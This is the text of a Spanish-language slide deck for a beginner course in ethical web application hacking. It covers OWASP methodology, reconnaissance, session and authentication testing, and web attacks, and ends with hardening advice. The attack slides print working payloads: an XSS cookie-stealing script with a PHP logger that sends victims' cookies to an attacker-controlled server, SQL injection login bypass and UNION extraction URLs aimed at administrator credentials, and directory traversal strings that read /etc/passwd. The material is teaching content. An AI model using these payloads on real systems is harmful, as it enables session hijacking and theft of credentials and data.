SlideShare a Scribd company logo
1 of 55
Hacking Ético Web
[ Iniciación ]
Eduardo Arriols Nuñez
eduardo.arriols@live.u-tad.com
Antes de nada…
¿Conocimientos en aplicación web?
¿Desarrolladores de aplicaciones web?
¿Conocimientos en seguridad?
¿Vuestro objetivo?
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Introducción
Seguridad en aplicación web
Desde hace años, las aplicaciones web han evolucionado enormemente,
siendo actualmente usadas a diario por la mayoría de personas con acceso a
Internet.
Esta rápida evolución también ha dado lugar a la aparición de gran cantidad
de ataques y riesgos en dichas aplicaciones, que cada vez mantienen y
gestionan mas datos críticos (bancarios, sanitarios, etc.)
La evolución sigue siendo inminente con IoT, smartphones, etc. Esto implica
una necesidad de implementar medidas de seguridad tanto defensivas como
ofensivas.
“Si conoces al enemigo y te conoces a ti
mismo, ni en cien batallas correrás peligro”
Introducción
Seguridad en aplicación web
Introducción
El gran problema
Los principales factores que provocan esta situación son lo siguientes:
 Falta de conocimientos en seguridad de los desarrolladores
 Producción personalizada
 Simplicidad en las aplicaciones
 Rápida evolución de los peligros
 Presupuesto y tiempo reducidos
 Adaptación de las tecnologías
 Incremento de la funcionalidad
 Falta de concienciación en materia de seguridad
Introducción
Objetivos del curso
Los principales objetivos son los siguientes:
1. Conocimiento de los principales riesgos y amenazas.
2. Conocimiento y aplicación de metodologías de auditoria.
3. Conocer, descubrir y explotar las principales vulnerabilidades.
4. Realizar sencillas auditorias de seguridad en aplicaciones web.
Al ser un curso de iniciación, no se pretende que el alumno salga con amplios
conocimientos en seguridad de aplicaciones web, pero si con una base
suficiente para comenzar a investigar y desarrollar pruebas por cuenta
propia.
Introducción
Metodologías de prueba
OWASP (Open Web Application Security Project) es un proyecto abierto,
dedicado principalmente al estudio de vulnerabilidades en aplicaciones web.
La Guía OWASP es una metodología ampliamente reconocida para realizar
pruebas y auditorias de seguridad sobre aplicaciones web. Dicha guía expone
cada prueba que debe ser realizada, el modo de realizarlo y las posibles
herramientas que pueden ser utilizadas.
Además el proyecto desarrolla otras herramientas como WebScarab,
WebGoat, etc.
Introducción
Herramientas imprescindibles: Mantra
Mantra es un navegador especialmente diseñado a partir de Firefox/Chrome
para el análisis de seguridad web que trae implementados gran cantidad de
plugins de auditoria.
Algunas de sus funciones son:
 Manipular las cabeceras HTTP
 Fingerprinting de aplicaciones web
 Interceptar las peticiones GET / POST
 Manipular campos de entrada de texto (strings)
 Editar cookies del navegador
 Capacidad para trabajar con diferentes Proxy
 Modificación de cabeceras HTTP
 Capacidad de realizar comprobaciones de Seguridad básicas (XSS, SQL)
 …
Introducción
Herramientas imprescindibles: BurpSuite
Es uno de los proxys HTTP mas conocidos. Tiene una gran comunidad que va
desarrollando funcionalidades y plugins.
Algunas de sus funcionalidades son:
 Interceptar comunicaciones HTTP / HTTPS
 Manipular cualquier tipo de paquete y cabecera HTTP
 Escáner de vulnerabilidades integrado
 Realizar spidering sobre las aplicaciones web
 Permite interceptar comunicaciones en cualquier tipo de dispositivo
 Modulo “intruder” para realizar ataques de fuerza bruta
 …
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Obtención de información
Google Hacking
Las técnicas de ‘Google Hacking’ se basan en obtener información mediante
búsquedas realizadas a través de comandos de búsqueda avanzados. El
objetivo es obtener información sobre la aplicación, tecnologías utilizadas,
etc.
Los principales comandos son:
 site  Búsqueda por dominio / subdominio
 intitle / allintitle  Búsqueda en el titulo
 inurl / allinurl  Búsqueda en la URL
 intext / allintext  Búsqueda en el texto
 filetype / ext  Tipo de fichero / extensión
 ‘||’ / ‘&&’  OR / AND lógico
 ‘-’  Negación
También es posible realizar estas búsquedas en otros buscadores como Bing
o Yahoo.
Obtención de información
Google Hacking (Ejemplos)
Obtención de información
Google Hacking Database (GHDB)
La Google Hacking DataBase (GHDB) es un proyecto donde la gente comparte
sus ‘dorks’ personalizados, nombre que se le da a las búsquedas avanzas que
hacen uso de operadores para conseguir una determinada información.
http://www.exploit-db.com/google-dorks/
http://www.hackersforcharity.org/ghdb/
Obtención de información
Netcraft
Es una compañía de servicios de Internet que pone a disposición de cualquier
un análisis genérico de gran cantidad de aplicaciones web. Esto nos permite
obtener por ejemplo, el dominio en el que se encuentra la dirección IP, el tipo
de OS, la versión de servidores web, etc.
Obtención de información
Otras herramientas
Robtex.com
Aplicación que permite obtener gran cantidad de información sobre una
determinada dirección IP como sus resoluciones DNS inversas (vecinos),
servidores de correo de la compañía, etc.
Archive.org
Aplicación que permite navegar por versiones antiguas de la aplicación
objetivo. Esto es posible gracias a que Archive.org se mantiene de forma
constante indexando y guardando todas las versiones de las aplicaciones por
las que pasa.
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Mapeo y análisis
Detección de contenido
Las pruebas de detección de contenido tienen como objetivo:
 Identificar funcionalidades de prueba / antiguas que puedan contener
información o vulnerabilidades.
 Detectar archivos ocultos como backups, volcados SQL, etc.
 Detectar paneles de administración accesibles.
Para ello es posible seguir diferentes aproximaciones:
 Manual: Navegación manual por la aplicación mediante el uso de proxy.
 Spider: Navegación automática por las paginas indexables de la aplicación web.
 Crawler: Uso fuerza bruta para detectar contenido no indexable pero existente.
Herramientas:
 BurpSuite
 Dirbuster
Mapeo y análisis
Métodos HTTP
Existen métodos HTTP que pueden encontrarse habilitados en el servidor que
son considerados inseguros como “PUT” o “DELETE”, que permiten subir o
eliminar un fichero del sistema.
Los métodos HTTP implementados por el servidor pueden ser:
 Genéricos para toda la aplicación
 Específicos por directorio / recurso
Herramientas:
 Netcat
 BurpSuite
 Cadaver
Mapeo y análisis
Detección de funcionalidades e inputs
Es necesario conocer y tener identificadas todas las funcionalidades
existentes en la aplicación, así como sus inputs. Esto nos permitirá
posteriormente planificar las pruebas y posibles ataques a realizar sobre la
aplicación.
También es necesario identificar si las funcionalidades son multi-estado o
necesitan datos de otro recurso de la aplicación. En tal caso, es necesario
detectar cuales son los datos que requiere la funcionalidad.
Mapeo y análisis
Identificación de tecnologías
Conocer la tecnología existente en un sistema, servidor, tecnología o CMS
permitirá acotar los posibles ataques a realizar sobre un objetivo.
No es lo mismo realizar un ataque contra un “Linux, con servidor web
Apache, que utilice PHP y MySQL” que contra un “Windows 2012, con
servidor web IIS7,5, que utilice ASP y MSSQL”.
Las practicas de detección mas comunes son:
 Mediante cabeceras HTTP
 Mediante errores (En la aplicación y sistema)
 Mediante extensiones de ficheros
 Direcciones URL
 Paneles de autenticación
 …
Mapeo y análisis
Detección de sistemas de seguridad (WAF)
Para poder afinar lo máximo posible los ataques y pruebas a realizar es
importante identificar si existen sistemas de seguridad protegiendo la
aplicación web.
Uno de los sistemas de seguridad mas comunes son los WAF (Web
Application Firewall), los cuales inspeccionan todo el trafico HTTP / HTTPS en
busca de patrones que les permitan detectar posibles ataques.
Si nuestra aplicación objetivo se encuentra detrás de un WAF deberemos
utilizar técnicas de evasión, realizando ataques mas complejos mediante la
ofuscación de los ataques. Algunos ejemplos:
 URL Encode
 Pruebas contra listas negras
 …
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Pruebas en la aplicación
Pruebas en el cliente
Para saber los datos que espera el servidor, no sirve únicamente con
enumerar los inputs de la aplicación. Es necesario revisar los datos enviados
por el cliente al servidor ya que la aplicación puede ser vulnerable también
en las cabeceras HTTP, Cookies, parámetros ocultos, etc.
Las principales acciones ha realizar son:
 Comprobar el envío de datos: Identificar todos aquellos parámetros enviados
por el cliente y la interacción que tienen con el servidor según los valores
enviado.
 Detectar controles realizados desde el cliente: Identificar los controles de
seguridad que se estén utilizando en el lado del cliente. Un ejemplo común es
utilizar funciones Javascript
Pruebas en la aplicación
Paneles de autenticación
Los paneles de autenticación son una de las principales puertas de entrada a
las aplicaciones web, por lo que se suelen realizar bastantes esfuerzon para
vulnerarlos y lograr acceso.
Algunas de las acciones típicas que son realizadas son las siguientes:
 Credenciales por defecto: Muchos servidores de aplicaciones y CMS traen
usuarios por defecto. Estos usuarios en ocasiones no son modificados por los
administradores, lo cual puede permitir acceso a la aplicación.
 Enumeración de usuarios: La aplicación genera códigos de error diferentes en
caso de que un usuario exista o no, permitiendo la detección de usuarios
validos.
 Fuerza bruta: En caso de tener un usuario valido es posible realizar pruebas de
fuerza bruta con el objetivo de detectar unas credenciales de acceso validas y
fácilmente adivinables.
Pruebas en la aplicación
Gestión de sesiones
Otro punto débil en muchas aplicaciones es su manera de manejar las
sesiones. Normalmente las sesiones se mantienen mediante cookies que al
encontrarse en el navegador del cliente pueden ser fácilmente modificadas.
Nuestro objetivo en este caso es lograr modificar nuestros permisos, acceder
a la aplicación sin habernos autenticado, etc. Las principales pruebas ha
realizar son:
 Entender la funcionalidad: Entender el funcionamiento de la gestión de sesiones
en la aplicación objetivo.
 Verificación de tokens/cookies: Lograr modificar las cookies a nuestro antojo
para realizar una determinada acción.
 Fijación de sesión: Esta vulnerabilidad se produce cuando el servidor no
comprueba si el token utilizado por el cliente para validarse ha sido
anteriormente autorizado por el servidor, permitiendo utilizar múltiples veces el
mismo token de sesión.
Esta vulnerabilidad es critica en caso de poder inicializar de forma remota el
token de sesión que usara el cliente de la aplicación.
Pruebas en la aplicación
Fijación de sesión
Pruebas en la aplicación
Cross-Site Request Forgery (CSRF)
Esta vulnerabilidad se produce cuando una aplicación web permite realizar
una determinada acción directamente mediante una petición. Esto se debe a
que el servidor no verifica que el usuario haya realizado las peticiones
anteriores necesarias.
Pruebas en la aplicación
Elevación de privilegios
Una vez tenemos acceso a la aplicación, es necesario comprobar si el sistema
de autorización es o no robusto. El objetivo es detectar funcionalidades que
no se encuentre correctamente aseguradas y puedan permitir una elevación
de privilegios lateral o vertical.
Identificar funcionalidad de usuario / administrador (Vertical). Ejemplo:
http:/facebook.com/user/index.php?id_user=31
http:/facebook.com/admin/index.php
Identificar funcionalidad de usuario / usuario (Lateral). Ejemplo:
http:/facebook.com/user/index.php?id_user=31
http:/facebook.com/user/index.php?id_user=32
Pruebas en la aplicación
Lógica de la aplicación
La mayor vulnerabilidad en una aplicación web puede deberse a la falta de
pruebas de lógica realizadas por un programador. En este caso, el objetivo es
detectar comportamientos que no hayan sido planteados por los
desarolladores y que permitan realizar acciones potencialmente peligrosas.
Ejemplos:
Saltar a diferentes etapas en un proceso multi-etapa (Compra online): Saltarse
la etapa de ‘pago’ y obtener el producto gratis.
Modificar los valores de entrada por valores que no tengan ‘sentido’:
Transferencia de -1000 euros permite que el ‘beneficiario’ nos ingrese dinero.
Este tipo de pruebas dependen en gran medida de la experiencia del auditor
y de su imaginación.
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Ataques web
Cross-Site Scripting
Cross Site Scripting (XSS) es una de las vulnerabilidad más explotadas según la
OWASP. En ella, se manipula la entrada (input) de parámetros de una
aplicación con el objetivo de obtener una salida (output) determinada que
contenga el código introducido en el input como HTML / Javascript. De esta
forma se puede forzar al cliente a ejecutar el código deseado.
Este tipo de vulnerabilidades se denominan del lado del cliente, ya que
aunque la vulnerabilidad se encuentra en el servidor, el objetivo del ataque
es el cliente.
Algunas estadísticas afirman que el 60-70% de todos los sitios web son
vulnerables a ataques de XSS.
Ataques web
Cross-Site Scripting
Existen diferentes tipo que de forma general se pueden agrupar en:
 XSS Reflejados: Cuando el código modificado se elimina al cargar de nuevo la
pagina, debido a que se basa en parámetros de la URL (normalmente).
 XSS Persistentes: Cuando el código modificado se almacena en la web.
Las maneras mas comunes de descubrir este tipo de ataques son:
 Viendo el código fuente de la aplicación.
 Analizando las peticiones enviadas e identificando si los datos son reutilizados
en las paginas de respuesta.
En muchos casos las aplicaciones web realizan débiles filtrados de seguridad
que pueden ser fácilmente evadidos. Para mas información:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://html5sec.org/
Ataques web
XSS Reflejado
Ataques web
XSS Persistente
Ataques web
XSS - Robo de cookies
Haciendo uso de ataques XSS es posible realizar el robo de sesión de un
usuario. Para ello primero debemos subir un fichero (cookies.php) con el
siguiente código a algún servidor bajo nuestro control:
<?php
$handle=fopen("cookies_list.txt","a");
fputs($handle,"n".$_GET["cookie"]."n");
fclose($handle);
?>
Una vez subido, forzamos al cliente a enviarnos sus cookies insertando el
siguiente código Javascript en el XSS:
<script> var i=new Image();i.src =
"http://dominio/cookies.php?cookie="%2bdocument.cookie; </script>
Ataques web
Cross-Site Scripting
Aunque únicamente hemos visto los dos tipos principales de XSS, existen
otros muchos tipos como:
 DOM Cross Site Scripting (DOM XSS)
 Cross Site Flashing (XSF)
 Cross Site Request/Reference Forgery (CSRF)
 Cross Frame Scripting (XFS)
 Cross Zone Scripting (XZS)
 Cross Agent Scripting (XAS)
 Cross Referer Scripting (XRS)
 Denial of Service (XSSDoS)
 Otros…
Ataques web
SQL Injection
El ataque SQL Injection se basa en insertar sentencias SQL arbitrarias dentro
de una consulta previamente establecida por la aplicación, con el objetivo de
manipular la información obtenida de la base de datos SQL.
Esta vulnerabilidad aparece en aquellos inputs que son utilizados para
generar de forma dinámica las consultas SQL, donde además los parámetros
de entrada no se encuentren correctamente filtrados.
Este tipo de ataques permiten al atacante:
 Saltar restricciones de acceso.
 Elevación de privilegios.
 Extracción de información de la Base de Datos.
 Ejecución de comandos en contexto usuario BD dentro del servidor.
 Ejecución de comandos en el servidor.
Al igual que en la mayoría de ataques web, es posible realizar este tipo de
ataque en cualquier parámetro que forme parte de una consulta (GET, POST,
Cabeceras HTTP, Cookies, etc)
Ataques web
SQL Injection
Ataques web
SQL Injection
En la mayoría de casos, las consultas SQL que buscan obtener información de
la base de datos tendrán una estructura similar a la siguiente:
SELECT [Columnas] FROM [DB].[Tabla] WHERE [Condiciones]
Durante la ejecución de ataques SQL Injection utilizaremos principalmente la
clausula UNION, que nos permite unir dos sentencias. IMPORTANTE: La
clausula UNION necesita que ambas consultas tengan el mismo numero de
columnas. Un ejemplo de consulta:
SELECT idNoticia,textoNoticia FROM noticias WHERE idNoticia=1
UNION
SELECT usuario,password FROM usuarios
Buscaremos negar la consulta legitima y hacer que únicamente se ejecute
nuestra consulta.
Ataques web
SQL Injection
Cada gestor de bases de datos tiene una serie de tablas especiales que se
crean con la instalación y son completamente necesarias para el correcto
funcionamiento de la aplicación.
Estas tablas se intentan usar siempre que se realiza un SQL Injection ya que
nos pueden proporcionar mucha información como por ejemplo…
 Bases de datos
 Tablas que hay en una base de datos
 Columnas de cada tabla
 Información sobre usuarios
 …
Ataques web
SQL Injection – Bypass de un login
La mayoría de aplicación web, cuando se realiza un proceso de autenticación,
realmente se esta realizando una consulta SQL dinámica con los datos
introducidos por el usuario. La consulta seria similar a la siguiente:
SELECT usuario FROM usuarios WHERE usuario=‘admin’ AND password=‘test’;
Los parámetros ‘usuario’ y ‘password’ son introducidas por el usuario. Si la
consulta es vacía (no devuelve resultados) no permitirá el acceso, pero en
caso contrario sí, dando igual que haya uno o mas registros.
En este tipo de ataques, nuestro objetivo es modificar la consulta realizada
para que la consulta siempre sea valida y nos permita acceso. Un simple
ejemplo de bypass seria el siguiente:
SELECT usuario FROM usuarios WHERE usuario=‘’ OR ‘1’=‘1’ AND password=‘’ OR ‘1’=‘1’
De esta forma, ambas condiciones son verdaderas y permitiría acceso como
usuario administrador.
Ataques web
SQL Injection – Mediante UNION
Como vimos anteriormente, mediante la clausula UNION es posible unir dos
consultas donde se buscara negar la consulta legitima y que únicamente
saque resultados la consulta introducida por el atacante.
Vamos a trabajar con el siguiente ejemplo:
http://dominio/noticias.php?id=1
El cual realizaría la siguiente consulta interna:
SELECT titulo, noticia FROM noticias WHERE noticia_id=1
Lo primero que debemos hacer es verificar si es o no vulnerable intentando
provocar errores en la aplicación introduciendo ‘ o caracteres extraños, o
mediante las condiciones AND y OR. Un ejemplo podría ser:
Petición: http://dominio/noticias.php?id=1 AND 1=0
Consulta: SELECT titulo, noticia FROM noticias WHERE noticia_id=1 AND 1=0
Ataques web
SQL Injection – Mediante UNION
Una vez se ha conseguido encontrar que la aplicación es vulnerable a SQL
Injection, los pasos que deberemos seguir serán los siguientes:
 Detectar el numero de columnas de la consulta legitima
 Recopilación de información sobre usuarios y versiones
 Obtención de bases de datos
 Obtención de tablas de la base de datos
 Obtención de columnas de las tablas que nos interesen
 Realizar las consultas personalizadas de las columnas y tablas que nos interesen
Detectar el numero de columnas de la consulta legitima:
Tras dejar la consulta legitima vacía debemos enumerar el numero de
columnas que tiene. Una de las formas mas comunes de hacerlo es de la
siguiente manera:
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2,3
…
Ataques web
SQL Injection – Mediante UNION
Recopilación de información sobre usuarios y versiones:
Una vez obtenido el numero de columnas, debemos detectar cual de ellas
permite obtener información que será mostrada en pantalla. Tras hacerlo
deberemos utilizar dicha columna para obtener los siguientes datos:
 Usuario que ejecuta las consultas en la aplicación: user()
 Base de datos usada actualmente: database()
 Versión del gestor SQL: @@version
 Ruta donde se encuentra instalado el gestor SQL: @@datadir
En caso de que haya varios parámetros donde sacar información podemos
usarlos a la vez, por ejemplo:
http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,user(),database(),5
http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,@@version,@@datadir,5
Ataques web
SQL Injection – Mediante UNION
Obtención de bases de datos
Para la obtención de información sobre las bases de datos, tablas y columnas
utilizaremos (en el caso de MySQL) la tabla schemata de la base de datos
information_schema.
http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, schema_name, 4, 5 from
information_schema.schemata
En caso de que únicamente se muestre un resultado, deberemos concatenar
la columna schema_name para sacar los demás valores. Esto es posible
mediante la función ‘group_concat()’.
http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, group_concat(schema_name), 4,
5 from information_schema.schemata
Ataques web
SQL Injection – Mediante UNION
Obtención de tablas de la base de datos
Siguiendo el mismo proceso, se consultara la tabla ‘tables’ de
‘information_schema’.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, table_name, 4, 5 from
information_schema.tables
Esto nos mostrara todas las tablas de la base de datos actual. En caso de
querer obtener únicamente las tablas de una determinada base de datos
podemos filtrar la consulta.
Obtención de columnas de la tabla que nos interesa
Siguiendo el mismo proceso, se consultara la tabla ‘columns’ de
‘information_schema’, indicando la tabla que nos interesa.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, column_name, 4, 5 from
information_schema.columns where table_name=“usuarios”
Ataques web
SQL Injection – Mediante UNION
Es posible que la aplicación no permita los caracteres ‘ o “, lo cual nos impide
insertar una cadena de forma directa. En tal caso, podemos utilizar la función
CHAR(), indicándole el valor en decimal de cada carácter.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, group_concat(column_name), 4,
5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105,
115, 116, 114, 97, 116, 111, 114, 115)
Obtención de columnas de la tabla que nos interesa
Una vez conocemos la base de datos, tabla y columnas que nos interesa,
únicamente hay que realizar la consulta SQL de forma común.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, user_name, user_password, 5
from administrators
Para optimizar la inyección es posible utilizar comandos como ‘limit’ o la
función ‘group_concat’.
Ataques web
SQL Injection
Aunque únicamente hemos visto los dos tipos principales de SQL Injection,
existen otros muchos tipos como:
 Bypass de un login mediante SQL Injection
 SQL Injection (Mediante UNION)
 Serialized SQL Injection
 Boolean-Base SQL Injection
 Time-Base SQL Injection
 Heavy-Queries SQL Injection
 Stack-Queries
 Ataques Avanzados mediante SQL Injection
 Ejecutar comandos
 Lectura de ficheros
 Escritura de ficheros
 De SQL Injection a RFI
 Troyanizando un servidor
Ataques web
File Inclusion (Remote & Local)
Las vulnerabilidades de File Inclusion nos permite cargar ficheros en o desde
el servidor, apoyándose en muchos casos en la vulnerabilidad Directory
Traversal.
Directory Traversal
Consiste en acceder a recursos del sistema que no son públicos mediante la
elevación o movimiento por el árbol de directorios. Se hace uso
principalmente de “../”. A continuación se muestran las principales formas de
explotar la vulnerabilidad:
http://www.example.com/?report=quarter1.txt
http://www.example.com/?report=../../../../../etc/passwd
http://www.example.com/?report=../../../../../etc/passwd%00.jpg
http://www.example.com/?report=../../../../../etc/passwd%0a.jpg
http://www.example.com/?imagen=/images/../../../../../../../etc/passwd
Ataques web
File Inclusion (Remote & Local)
Local File Inclusion
Permite incluir ficheros propios del servidor utilizando la técnica de Directory
Traversal para llegar al archivo buscado. Como tal es la capacidad de incluir
archivos en la respuesta del servidor. Este tipo de inclusión se suele realizar
con funciones como include:
<?php “include/”.include($_GET['for'].“.php”); ?>
Remote File Inclusion
Permite cargar ficheros externos al servidor en el propio servidor, obligándole
a ejecutar código ASP, JSP, etc. Es un vector poco común ya que permitiría de
forma directa ejecutar una webshell en el sistema.
Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación
Principios para la fortificación
Genéricos
Algunas de las opciones para fortificar aplicación web son:
 Filtrar todos los parámetros de entrada del usuario
 Principio del mínimo privilegio
 Cifrado de datos críticos
 Política de contraseñas robusta
 Bastionado del sistema y aplicación
 Realizar pruebas en la lógica de la aplicación
 Implementar medidas de seguridad contra fuerza bruta o escaneos
 Evitar publicar paneles de administración
 Implementar un correcto sistema de autorización y autenticación
 Implementar tokens únicos por petición
 Proporcionar un token de sesión único por cada nuevo usuario
 Evitar metodos HTTP inseguros
 …..
¿Preguntas?
Eduardo Arriols Nuñez
eduardo.arriols@live.u-tad.com

More Related Content

What's hot

Cyber threat Intelligence and Incident Response by:-Sandeep Singh
Cyber threat Intelligence and Incident Response by:-Sandeep SinghCyber threat Intelligence and Incident Response by:-Sandeep Singh
Cyber threat Intelligence and Incident Response by:-Sandeep SinghOWASP Delhi
 
Auditoria informatica e integral
Auditoria informatica e integralAuditoria informatica e integral
Auditoria informatica e integralGustavo Alvarez
 
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018Murat KARA
 
Clase 1 control interno y auditoría de sistemas de información
Clase 1   control interno y auditoría de sistemas de informaciónClase 1   control interno y auditoría de sistemas de información
Clase 1 control interno y auditoría de sistemas de informaciónedithua
 
Risk Analysis Of Banking Malware Attacks
Risk Analysis Of Banking Malware AttacksRisk Analysis Of Banking Malware Attacks
Risk Analysis Of Banking Malware AttacksMarco Morana
 
STRIDE And DREAD
STRIDE And DREADSTRIDE And DREAD
STRIDE And DREADchuckbt
 
Knowledge for the masses: Storytelling with ATT&CK
Knowledge for the masses: Storytelling with ATT&CKKnowledge for the masses: Storytelling with ATT&CK
Knowledge for the masses: Storytelling with ATT&CKMITRE ATT&CK
 
CompTIA Security+ Guide
CompTIA Security+ GuideCompTIA Security+ Guide
CompTIA Security+ GuideSmithjulia33
 
Seguridad de la informacion
Seguridad de la informacionSeguridad de la informacion
Seguridad de la informacionana anchundia
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing Priyanka Aash
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıAhmet Gürel
 
Understanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationUnderstanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationPECB
 
OSINT y hacking con buscadores #Palabradehacker
OSINT y hacking con buscadores #PalabradehackerOSINT y hacking con buscadores #Palabradehacker
OSINT y hacking con buscadores #PalabradehackerYolanda Corral
 

What's hot (20)

Ethical Hacking
Ethical HackingEthical Hacking
Ethical Hacking
 
Cyber threat Intelligence and Incident Response by:-Sandeep Singh
Cyber threat Intelligence and Incident Response by:-Sandeep SinghCyber threat Intelligence and Incident Response by:-Sandeep Singh
Cyber threat Intelligence and Incident Response by:-Sandeep Singh
 
Auditoria informatica e integral
Auditoria informatica e integralAuditoria informatica e integral
Auditoria informatica e integral
 
Tipos de hackers
Tipos de hackersTipos de hackers
Tipos de hackers
 
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018
Siber Guvenlik ve Etik Hacking -1- Güncelleme 2018
 
Clase 1 control interno y auditoría de sistemas de información
Clase 1   control interno y auditoría de sistemas de informaciónClase 1   control interno y auditoría de sistemas de información
Clase 1 control interno y auditoría de sistemas de información
 
Risk Analysis Of Banking Malware Attacks
Risk Analysis Of Banking Malware AttacksRisk Analysis Of Banking Malware Attacks
Risk Analysis Of Banking Malware Attacks
 
penetration testing
penetration testingpenetration testing
penetration testing
 
STRIDE And DREAD
STRIDE And DREADSTRIDE And DREAD
STRIDE And DREAD
 
INGENIERIA SOCIAL
INGENIERIA SOCIALINGENIERIA SOCIAL
INGENIERIA SOCIAL
 
Knowledge for the masses: Storytelling with ATT&CK
Knowledge for the masses: Storytelling with ATT&CKKnowledge for the masses: Storytelling with ATT&CK
Knowledge for the masses: Storytelling with ATT&CK
 
Ley 26388 delitos inform
Ley 26388 delitos informLey 26388 delitos inform
Ley 26388 delitos inform
 
CompTIA Security+ Guide
CompTIA Security+ GuideCompTIA Security+ Guide
CompTIA Security+ Guide
 
Diseño Data center
Diseño Data centerDiseño Data center
Diseño Data center
 
Seguridad de la informacion
Seguridad de la informacionSeguridad de la informacion
Seguridad de la informacion
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing
 
Hacking ético
Hacking éticoHacking ético
Hacking ético
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve Komutları
 
Understanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for OrganizationUnderstanding Penetration Testing & its Benefits for Organization
Understanding Penetration Testing & its Benefits for Organization
 
OSINT y hacking con buscadores #Palabradehacker
OSINT y hacking con buscadores #PalabradehackerOSINT y hacking con buscadores #Palabradehacker
OSINT y hacking con buscadores #Palabradehacker
 

Viewers also liked

Testing CAN network with help of CANToolz
Testing CAN network with help of CANToolzTesting CAN network with help of CANToolz
Testing CAN network with help of CANToolzAlexey Sintsov
 
NeXpose Certificate Addition Manual
NeXpose Certificate Addition ManualNeXpose Certificate Addition Manual
NeXpose Certificate Addition ManualWajahat Rajab
 
Обход файрволов веб-приложений
Обход файрволов веб-приложенийОбход файрволов веб-приложений
Обход файрволов веб-приложенийPositive Hack Days
 
Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016Daniel Bohannon
 
Tourist Characteristics and the Perception of Milan_a synthesis
Tourist Characteristics and the Perception of Milan_a synthesisTourist Characteristics and the Perception of Milan_a synthesis
Tourist Characteristics and the Perception of Milan_a synthesisMTM IULM
 
Presentación abp Creando mi país
Presentación abp Creando mi paísPresentación abp Creando mi país
Presentación abp Creando mi paísXan Fernandez
 
Group#1_DallasArboretum_FinalProject
Group#1_DallasArboretum_FinalProjectGroup#1_DallasArboretum_FinalProject
Group#1_DallasArboretum_FinalProjectIciar Bercian
 
Web Marketing at IED 2009
Web Marketing at IED 2009Web Marketing at IED 2009
Web Marketing at IED 2009my own office
 
Marisabel mestra naysy
Marisabel mestra naysy Marisabel mestra naysy
Marisabel mestra naysy Amadeu Wolff
 

Viewers also liked (20)

Testing CAN network with help of CANToolz
Testing CAN network with help of CANToolzTesting CAN network with help of CANToolz
Testing CAN network with help of CANToolz
 
Seguridad informatica chile
Seguridad informatica chileSeguridad informatica chile
Seguridad informatica chile
 
NeXpose Certificate Addition Manual
NeXpose Certificate Addition ManualNeXpose Certificate Addition Manual
NeXpose Certificate Addition Manual
 
Ethical hacking with Python tools
Ethical hacking with Python toolsEthical hacking with Python tools
Ethical hacking with Python tools
 
Обход файрволов веб-приложений
Обход файрволов веб-приложенийОбход файрволов веб-приложений
Обход файрволов веб-приложений
 
Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016
 
Elecciones PorteñAs 24 De Junio 2007
Elecciones PorteñAs 24 De Junio 2007Elecciones PorteñAs 24 De Junio 2007
Elecciones PorteñAs 24 De Junio 2007
 
Tourist Characteristics and the Perception of Milan_a synthesis
Tourist Characteristics and the Perception of Milan_a synthesisTourist Characteristics and the Perception of Milan_a synthesis
Tourist Characteristics and the Perception of Milan_a synthesis
 
Virus adn
Virus adnVirus adn
Virus adn
 
Comunicacion 1
Comunicacion 1Comunicacion 1
Comunicacion 1
 
Presentación abp Creando mi país
Presentación abp Creando mi paísPresentación abp Creando mi país
Presentación abp Creando mi país
 
Group#1_DallasArboretum_FinalProject
Group#1_DallasArboretum_FinalProjectGroup#1_DallasArboretum_FinalProject
Group#1_DallasArboretum_FinalProject
 
Del Padre a sus Hijas
Del Padre a sus HijasDel Padre a sus Hijas
